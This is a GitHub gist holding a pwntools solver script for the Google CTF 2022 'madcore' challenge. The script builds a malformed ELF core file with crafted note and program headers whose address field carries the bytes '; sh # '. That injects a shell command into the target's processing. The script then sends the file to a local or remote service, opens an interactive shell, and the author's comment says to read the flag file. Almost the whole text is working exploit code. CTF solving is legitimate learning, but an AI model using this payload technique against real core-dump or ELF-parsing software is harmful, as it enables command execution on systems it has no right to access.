Skip to content

Instantly share code, notes, and snippets.

@d0now
Last active August 23, 2022 06:19
Show Gist options
  • Select an option

  • Save d0now/f361d47055f6052829c13e9d26279d1d to your computer and use it in GitHub Desktop.

Select an option

Save d0now/f361d47055f6052829c13e9d26279d1d to your computer and use it in GitHub Desktop.
Google CTF 2022 - "madcore" solver code
from pwn import *
def make_payload(phdr_start=0x1000):
vaddr_start = u64(b"; sh # \0")
vaddr_size = 0xffffffffffffffff - vaddr_start
malformed_count = 3
payload = b''
# Elf64_Header
e_hdr = binascii.unhexlify("7F454C46020101000000000000000000")
e_hdr += p16(0x0004) # type
e_hdr += p16(0x003e) # machine
e_hdr += p32(0x00000001) # version
e_hdr += p64(0x0000000000000000) # entry
e_hdr += p64(0x0000000000000040) # program_header_offset
e_hdr += p64(0x0000000000000000) # section_header_offset
e_hdr += p32(0x00000000) # flags
e_hdr += p16(0x0040) # header_size
e_hdr += p16(0x0038) # program_header_size
e_hdr += p16(2 + malformed_count) # program_header_count
e_hdr += p16(0x0000) # section_header_size
e_hdr += p16(0x0000) # section_header_count
e_hdr += p16(0x0000) # string_table
# Notes
def make_note(n, d, t):
r = p32(len(n))
r += p32(len(d))
r += p32(t)
r += n
r += b'\0' * (4 - (len(n) % 4))
r += d
r += b'\0' * (4 - (len(d) % 4))
return r
p_notes = b''
p_notes += make_note(
b"CORE\0",
p64(1) + p64(0x1000) + p64(0x2020202020204000) + p64(0x2020202020205000) + p64(0) + b"/bin/ls".rjust(0x40, b'/') + b'\0',
0x46494c45
)
p_notes += make_note(
b"CORE\0",
p64(0x1008) * 35,
1
)
# Phdr - note
e_phdr1 = p32(4)
e_phdr1 += p32(0)
e_phdr1 += p64(phdr_start)
e_phdr1 += p64(0)
e_phdr1 += p64(0)
e_phdr1 += p64(len(p_notes))
e_phdr1 += p64(0)
e_phdr1 += p64(0)
# Phdr - load
e_phdr2 = p32(1)
e_phdr2 += p32(0xffffffff)
e_phdr2 += p64(phdr_start + len(p_notes))
e_phdr2 += p64(0x1000)
e_phdr2 += p64(0x1000)
e_phdr2 += p64(0x10)
e_phdr2 += p64(0x10)
e_phdr2 += p64(0)
# Phdr - malformed
e_phdr_m = p32(1)
e_phdr_m += p32(0xffffffff)
e_phdr_m += p64(phdr_start + len(p_notes))
e_phdr_m += p64(vaddr_start)
e_phdr_m += p64(vaddr_start)
e_phdr_m += p64(vaddr_size)
e_phdr_m += p64(vaddr_size)
e_phdr_m += p64(0)
# done
payload += e_hdr + e_phdr1 + e_phdr2 + (e_phdr_m * malformed_count)
payload += b'\0' * (phdr_start - len(payload))
payload += p_notes
payload += p64(vaddr_start) * 10 + p64(0)
return payload
def main(p: process, elf: ELF, libc: ELF, libcpp: ELF):
payload = make_payload()
with open("/tmp/test", 'wb') as f:
f.write(payload)
p.send(payload.ljust(0x1000000, b'\0'))
p.readuntil(b"FINISHED READING.\n")
p.interactive()
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("--elf", default="./prob/madcore")
parser.add_argument("--ld", default="./prob/ld-linux-x86-64.so.2")
parser.add_argument("--libc", default="./prob/libc.so.6")
parser.add_argument("--libcpp", default="./prob/libstdc++.so.6")
parser.add_argument("--debug", action='store_true')
parser.add_argument("-H", "--host")
parser.add_argument("-P", "--port", type=int)
args = parser.parse_args()
if args.host and args.port:
p = remote(args.host, args.port)
else:
p = process([args.ld, "--preload", f"{args.libc} {args.libcpp}", args.elf])
elf = ELF(args.elf)
libc = ELF(args.libc)
libcpp = ELF(args.libcpp)
if args.debug:
input("> ")
main(p, elf, libc, libcpp)
@d0now
Copy link
Copy Markdown
Author

d0now commented Jul 4, 2022

You should do just cat /flag; exit after interactive shell drops.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment